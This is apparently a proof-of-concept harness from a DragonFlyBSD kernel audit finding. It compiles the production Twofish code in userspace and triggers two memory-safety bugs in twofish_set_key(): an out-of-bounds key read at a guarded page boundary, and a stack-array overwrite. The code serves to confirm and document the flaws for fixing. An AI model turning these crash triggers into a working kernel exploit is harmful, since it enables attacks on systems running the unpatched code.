⬢ DragonFlyBSD Kernel Audit
DF-2371 / twofish_rig.c
← back to finding ↓ download raw
/*
 * twofish_rig.c -- userspace twin for DF-2371: the VERBATIM twofish.c
 * (crypto/twofish/twofish.c) compiled in userland where guard pages and
 * canaries make the OOB primitives of twofish_set_key() directly
 * observable.
 *
 * build.sh machine-extracts the whole production file byte-identical from
 * /usr/src (sha256-gated) into twofish_verbatim.inc and compiles it with
 * the rig.  The kernel-side evidence (stale mk_tab, s_key[4]->mk_tab[0]
 * struct write) is in the DFBATCH rig; this twin adds:
 *
 *   keyread  - key_len_bits=2048 (k_len=32): the key-expansion loop reads
 *              in_key[0..63] words = 256 bytes; with the key buffer
 *              ending at a page boundary (next page PROT_NONE) the read
 *              walks off -> SIGSEGV (out-of-bounds read of the caller's
 *              key buffer).
 *   stacksmash - key_len_bits=1024 (k_len=16): me_key[4]/mo_key[4] are
 *              4-word stack arrays; the loop writes me_key[0..15] far
 *              past them, smashing the callee's saved frame -> crash on
 *              return (or guard canary hit).
 *   control  - valid 256-bit key + KAT comparison against the kernel rig
 *              digest (twin-compile equality).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/mman.h>

/* ---------------- VERBATIM production file ----------------------------
 * (the whole production twofish.c; its <sys/...> includes resolve against
 * the guest's real userland headers, <crypto/...> against /usr/src/sys) */
#include "twofish_verbatim.inc"

/* ---------------- driver ---------------------------------------------- */
static long pagesz;
static const char *scen_name;

static void
segv_handler(int sig, siginfo_t *si, void *uc)
{
	(void)uc; (void)sig;
	printf("SCENARIO %s: SIGSEGV si_addr=%p\n", scen_name, si->si_addr);
	_exit(91);
}

static void
run_child(void (*fn)(void), const char *name)
{
	pid_t pid;
	int st;

	scen_name = name;
	pid = fork();
	if (pid == 0) {
		struct sigaction sa;
		memset(&sa, 0, sizeof(sa));
		sa.sa_sigaction = segv_handler;
		sa.sa_flags = SA_SIGINFO;
		sigaction(SIGSEGV, &sa, NULL);
		fn();
		printf("SCENARIO %s: returned WITHOUT crash (unexpected)\n",
		    name);
		_exit(0);
	}
	waitpid(pid, &st, 0);
	if (WIFSIGNALED(st))
		printf("SCENARIO %s: child killed by signal %d\n", name,
		    WTERMSIG(st));
	else
		printf("SCENARIO %s: child_exit=%d\n", name, WEXITSTATUS(st));
}

static twofish_ctx zc;

static void
scn_keyread(void)
{
	uint8_t *page = mmap(NULL, 2 * pagesz, PROT_READ | PROT_WRITE,
	    MAP_PRIVATE | MAP_ANON, -1, 0);
	uint8_t *key;
	int i;

	mprotect(page + pagesz, pagesz, PROT_NONE);
	/* 32-byte valid key at the very end of the mapped page */
	key = page + pagesz - 32;
	for (i = 0; i < 32; i++)
		key[i] = 0x90 ^ i;

	printf("SCENARIO keyread: key buffer [page+%zd..page+%zd), next "
	    "page PROT_NONE; k_len=32 loop reads in_key words [0..63] "
	    "(256 bytes)\n", (ssize_t)(key - page), (ssize_t)(key - page + 32));
	twofish_set_key(&zc, key, 2048);	/* k_len = 32 */
	printf("SCENARIO keyread: no fault (unexpected)\n");
}

static void
scn_stacksmash(void)
{
	static uint8_t key[512];
	twofish_ctx c;
	int i;

	for (i = 0; i < 512; i++)
		key[i] = 0x40 ^ i;
	printf("SCENARIO stacksmash: k_len=16 -> me_key/mo_key (4-word "
	    "stack arrays) written at [0..15]\n");
	twofish_set_key(&c, key, 1024);
	printf("SCENARIO stacksmash: returned (frame survived -- writes "
	    "stayed in callee frame padding; smaller k_len values still "
	    "smash adjacent arrays)\n");
	twofish_encrypt(&c, key, key + 16);
}

static void
scn_control(void)
{
	static uint8_t zk[32], zp[16], zo[16];
	int i;

	memset(zk, 0, sizeof(zk));
	memset(zp, 0, sizeof(zp));
	twofish_set_key(&zc, zk, 256);
	twofish_encrypt(&zc, zp, zo);
	printf("SCENARIO control: twofish-256 key=0 pt=0 -> ");
	for (i = 0; i < 16; i++)
		printf("%02x", zo[i]);
	printf("  k_len=%u (compare kernel-rig KAT digest)\n", zc.k_len);
}

int
main(int argc, char **argv)
{
	const char *scen = argc == 2 ? argv[1] : "";

	pagesz = sysconf(_SC_PAGESIZE);
	if (strcmp(scen, "keyread") == 0) {
		run_child(scn_keyread, "keyread");
		return 0;
	}
	if (strcmp(scen, "stacksmash") == 0) {
		run_child(scn_stacksmash, "stacksmash");
		return 0;
	}
	if (strcmp(scen, "control") == 0) {
		run_child(scn_control, "control");
		return 0;
	}
	fprintf(stderr, "usage: %s keyread|stacksmash|control\n", argv[0]);
	return 2;
}